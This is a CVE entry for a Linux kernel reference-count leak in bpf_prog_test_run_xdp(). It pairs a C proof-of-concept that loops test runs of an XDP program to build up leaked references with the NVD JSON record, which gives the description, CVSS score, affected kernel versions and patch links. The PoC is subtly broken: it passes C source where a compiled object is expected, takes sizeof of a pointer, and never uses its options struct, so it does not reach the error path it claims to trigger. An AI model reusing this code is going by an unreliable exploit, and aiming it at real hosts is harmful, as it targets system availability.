CVE-2026-22994

// CVE-2026-22994 PoC - Reference Count Leak in bpf_prog_test_run_xdp() // This PoC demonstrates triggering the reference count leak via BPF XDP test #include <stdio.h> #include <stdlib.h> #include <bpf/bpf.h> #include <bpf/libbpf.h> #include <linux/bpf.h> #include <linux/if_link.h> #include <unistd.h> // BPF program for XDP test static const char *bpf_prog_xdp = "\n" "SEC(\"xdp\")\n" "int xdp_test_func(struct xdp_md *ctx)\n" "{\n" " return XDP_PASS;\n" "}\n"; int main(int argc, char **argv) { struct bpf_object *obj = NULL; struct bpf_program *prog = NULL; int prog_fd, ifindex; struct bpf_test_run_opts opts = {0}; __u32 duration = 0; // Create XDP program obj = bpf_object__open_mem(bpf_prog_xdp, sizeof(bpf_prog_xdp), NULL); if (!obj) { perror("bpf_object__open_mem failed"); return -1; } // Load the program if (bpf_object__load(obj) < 0) { perror("bpf_object__load failed"); return -1; } prog = bpf_object__find_program_by_name(obj, "xdp_test_func"); prog_fd = bpf_program__fd(prog); // Trigger the vulnerability by running test with crafted data // that causes error path in xdp_convert_buff_to_md() opts.sz = sizeof(opts); opts.data_in = NULL; // Trigger error path opts.data_size_in = 0; // Repeatedly trigger to accumulate leaked reference counts for (int i = 0; i < 100; i++) { bpf_prog_test_run(prog_fd, 1, NULL, 0, NULL, NULL, NULL, &duration); usleep(1000); } printf("Reference count leak triggered. Check for unregister_netdevice errors.\n"); return 0; }

{"cve": {"id": "CVE-2026-22994", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-01-23T16:15:55.490", "lastModified": "2026-02-26T17:19:00.130", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nbpf: Fix reference count leak in bpf_prog_test_run_xdp()\n\nsyzbot is reporting\n\n unregister_netdevice: waiting for sit0 to become free. Usage count = 2\n\nproblem. A debug printk() patch found that a refcount is obtained at\nxdp_convert_md_to_buff() from bpf_prog_test_run_xdp().\n\nAccording to commit ec94670fcb3b (\"bpf: Support specifying ingress via\nxdp_md context in BPF_PROG_TEST_RUN\"), the refcount obtained by\nxdp_convert_md_to_buff() will be released by xdp_convert_buff_to_md().\n\nTherefore, we can consider that the error handling path introduced by\ncommit 1c1949982524 (\"bpf: introduce frags support to\nbpf_prog_test_run_xdp()\") forgot to call xdp_convert_buff_to_md()."}, {"lang": "es", "value": "Se ha resuelto la siguiente vulnerabilidad en el kernel de Linux:\n\nbpf: Corregir fuga de contador de referencias en bpf_prog_test_run_xdp()\n\nsyzbot está reportando\n\nunregister_netdevice: esperando que sit0 quede libre. Recuento de uso = 2\n\nproblema. Un parche de depuración printk() encontró que se obtiene un contador de referencias en xdp_convert_md_to_buff() desde bpf_prog_test_run_xdp().\n\nSegún el commit ec94670fcb3b ('bpf: Soporte para especificar el ingreso a través del contexto xdp_md en BPF_PROG_TEST_RUN'), el contador de referencias obtenido por xdp_convert_md_to_buff() será liberado por xdp_convert_buff_to_md().\n\nPor lo tanto, podemos considerar que la ruta de manejo de errores introducida por el commit 1c1949982524 ('bpf: introducir soporte de fragmentos en bpf_prog_test_run_xdp()') olvidó llamar a xdp_convert_buff_to_md()."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-Other"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.18", "versionEndExcluding": "6.1.161", "matchCriteriaId": "D8396A00-9DF6-4F41-B27A-476CA41851D0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.121", "matchCriteriaId": "BB7A164B-7422-4A1C-82FB-5FCAEE53C06C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.66", "matchCriteriaId": "F72B884C-B44F-40E4-9895-CE421AC663D0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.6", "matchCriteriaId": "879529BC-5B4C-4EBE-BF1D-1A31404A8B2E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc1:*:*:*:*:*:*", "matchCriteriaId": "17B67AA7-40D6-4AFA-8459-F200F3D7CFD1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc2:*:*:*:*:*:*", "matchCriteriaId": "C47E4CC9-C826-4FA9-B014-7FE3D9B318B2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc3:*:*:*:*:*:*", "matchCriteriaId": "F71D92C0-C023-48BD-B3B6-70B638EEE298"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc4:*:*:*:*:*:*", "matchCriteriaId": "13580667-0A98-40CC-B29F-D12790B91BDB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc5:*:*:*:*:*:*", "matchCriteriaId": "CAD1FED7-CF48-47BF-AC7D-7B6FA3C065FC"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/368569bc546d3368ee9980ba79fc42fdff9a3365", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/737be05a765761d7d7c9f7fe92274bd8e6f6951e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/98676ee71fd4eafeb8be63c7f3f1905d40e03101", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ec69daabe45256f98ac86c651b8ad1b2574489a7", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/fb9ef40cccdbacce36029b305d0ef1e12e4fea38", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}